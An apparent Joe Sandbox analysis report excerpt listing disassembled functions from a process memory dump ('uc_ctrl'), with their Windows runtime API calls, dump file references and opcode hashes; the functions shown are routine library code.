                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 456732743-0
                                                                                              • Opcode ID: 6f608bba8e29a39218453e0b8299a9ccdfec5f9f14d8d3860b470dd1dbb5e221
                                                                                              • Instruction ID: 33fe47cb5f8b67463c05ad20519ab8476ac965c931b8a9aceb374c47003ed553
                                                                                              • Opcode Fuzzy Hash: 6f608bba8e29a39218453e0b8299a9ccdfec5f9f14d8d3860b470dd1dbb5e221
                                                                                              • Instruction Fuzzy Hash: 42018171A003058BEB00EFA4C8167ADB6F4AF08719F20481DD095A7781DFB84A49CB95
                                                                                              Function 6CEFB843 Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFB84A
                                                                                              • new.LIBCMT ref: 6CEFB85E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEFD7D0,00000000), ref: 6CEFB878
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                                • Part of subcall function 6CEFD282: __EH_prolog3_catch.LIBCMT ref: 6CEFD289
                                                                                                • Part of subcall function 6CEFD282: _Getcvt.MSVCP140(?,00000034,6CEFB917), ref: 6CEFD297
                                                                                                • Part of subcall function 6CEFD282: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEFB917), ref: 6CEFD2A6
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000001,0000003C,6CEFD7D0,00000000), ref: 6CEFB8AB
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtH_prolog3_catchLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localeslocaleconvmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 456732743-0
                                                                                              • Opcode ID: a5398f7d320cd9749bfa1893dd52998ee1eeba0ee523ac741d6ab4c54e95ba67
                                                                                              • Instruction ID: b79d814b9892cfb19c721e19997b188ac2a54264017efb2789b7540db5c40f3b
                                                                                              • Opcode Fuzzy Hash: a5398f7d320cd9749bfa1893dd52998ee1eeba0ee523ac741d6ab4c54e95ba67
                                                                                              • Instruction Fuzzy Hash: DB018171A003058BEB00EFA4C8167ADB6F4AF08B19F20481DD055A7781DF785689CB85
                                                                                              Function 6CEEC976 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEEC97E
                                                                                              • _invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEEC989
                                                                                              • memcpy.VCRUNTIME140(?,?,?), ref: 6CEEC9A2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _errno_invalid_parameter_noinfomemcpy
                                                                                              • String ID:
                                                                                              • API String ID: 2191804904-0
                                                                                              • Opcode ID: 0c6f104f4517893b0b788fa49dda791d98b59da47c8c1af7e5b06d1b42d004b4
                                                                                              • Instruction ID: d53f1f72c86e0bb087e9fc266baa13b419a2c861dc7c378ee6e6d9c858b87618
                                                                                              • Opcode Fuzzy Hash: 0c6f104f4517893b0b788fa49dda791d98b59da47c8c1af7e5b06d1b42d004b4
                                                                                              • Instruction Fuzzy Hash: A7F0BB36751204BBDF243A78880578B3E759B4E7CDF306015F90AC9A00D63381418696
                                                                                              Function 6CFA4BA0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnableWindow.USER32(00000000,00000001), ref: 6CFA4BC4
                                                                                              • GetActiveWindow.USER32 ref: 6CFA4BCE
                                                                                              • SetActiveWindow.USER32(00000000,?,?,?,?,?,00000000), ref: 6CFA4BDA
                                                                                              • FreeResource.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CFA4C03
                                                                                                • Part of subcall function 6CF9D500: EnableWindow.USER32(?,00000000), ref: 6CF9D511
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$ActiveEnable$FreeResource
                                                                                              • String ID:
                                                                                              • API String ID: 253586258-0
                                                                                              • Opcode ID: e029cb77ccfd01aba558b007c5282a4db0c40f58fd11c3cf40942facd3e7febb
                                                                                              • Instruction ID: 1f10a3e5c3c81a00cff9634ab9b721ef5020623407499e4543b40ea77de66f4b
                                                                                              • Opcode Fuzzy Hash: e029cb77ccfd01aba558b007c5282a4db0c40f58fd11c3cf40942facd3e7febb
                                                                                              • Instruction Fuzzy Hash: AF016D35A01215DBDF01DBA0C985BACFB75BF88768F212144E911736D0CF746842CF92
                                                                                              Function 6CF9D8B2 Relevance: 6.0, APIs: 4, Instructions: 30windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Parent$Focus
                                                                                              • String ID:
                                                                                              • API String ID: 384096180-0
                                                                                              • Opcode ID: fe7a5a62e74380414ac88659aa51f94f0a5d4da087f09cac8e8c30fbe1a5420d
                                                                                              • Instruction ID: 8e1ed23f38f28e4b5ea2fbbc308ff78d0e387456c6230c477ed948309d0e3c1f
                                                                                              • Opcode Fuzzy Hash: fe7a5a62e74380414ac88659aa51f94f0a5d4da087f09cac8e8c30fbe1a5420d
                                                                                              • Instruction Fuzzy Hash: 29F01272600301ABEF102BB29C0CA4F7AB9BF4D3997100C25E58681E30DF35E4049B12
                                                                                              Function 6CEF2FC0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF2FC7
                                                                                              • new.LIBCMT ref: 6CEF2FDE
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEF963A,00000001,?,00000000,?,?,?,?,?,00000000), ref: 6CEF2FF8
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEF963A,00000001,?,00000000,?,?,?,?,?,00000000), ref: 6CEF300B
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 8809ced537e327f54df2905465f6b76aa92bd7036a0a9a6848ea9e84fed7c77e
                                                                                              • Instruction ID: edab210f99435c9f3fff6cf5ed1a8265f473699d1b3290d5078709bf279e0981
                                                                                              • Opcode Fuzzy Hash: 8809ced537e327f54df2905465f6b76aa92bd7036a0a9a6848ea9e84fed7c77e
                                                                                              • Instruction Fuzzy Hash: 1BF0BEB1A00302CBCB00AFE4C4516CDB370BF08A48F30482EE0516BB81DB30A649CB81
                                                                                              Function 6CEF39C0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF39C7
                                                                                              • new.LIBCMT ref: 6CEF39DE
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEF959F,00000001,?,00000000,?,00000000), ref: 6CEF39F8
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEF959F,00000001,?,00000000,?,00000000), ref: 6CEF3A0B
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 34aaffd7b7a1edd84b3a004aa5f85049fbf745d5ffc87d80c2d62e58d277d95a
                                                                                              • Instruction ID: b845bc6438ff5b8be1d86c2d60cb2a3fb415d15ac62ee5bc1735d33e721a39d4
                                                                                              • Opcode Fuzzy Hash: 34aaffd7b7a1edd84b3a004aa5f85049fbf745d5ffc87d80c2d62e58d277d95a
                                                                                              • Instruction Fuzzy Hash: A7F05EB1A00706CBCB00EFE4C4516DDB770BF08A58F70486EE5566BB41DB70A649CB41
                                                                                              Function 6CEF0B70 Relevance: 6.0, APIs: 4, Instructions: 30COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF0B77
                                                                                              • new.LIBCMT ref: 6CEF0B8E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEF9CD5,?,?,00000000,?,?,?,00000004), ref: 6CEF0BA8
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEF9CD5,?,?,00000000,?,?,?,00000004), ref: 6CEF0BBB
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2887603401-0
                                                                                              • Opcode ID: 5d62bd5518b253aa3329a5aae9f54afac58f37281ab9c816d38df5fe3beab34f
                                                                                              • Instruction ID: 8057c66ed51d79c7e7ea5858c67e1106b46cfee8878ce42876d88e5ef87e1b49
                                                                                              • Opcode Fuzzy Hash: 5d62bd5518b253aa3329a5aae9f54afac58f37281ab9c816d38df5fe3beab34f
                                                                                              • Instruction Fuzzy Hash: 72F05EB1A01306CBCB00AFE4C8616DDB770BF08B58F70886EE5556BB80DB74A649CB41
                                                                                              Function 6CEE8B30 Relevance: 6.0, APIs: 4, Instructions: 30COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE8B37
                                                                                              • new.LIBCMT ref: 6CEE8B4E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6CEEB0A7,?,?,00000000,?,?,?,00000004), ref: 6CEE8B68
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6CEEB0A7,?,?,00000000,?,?,?,00000004), ref: 6CEE8B7B
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
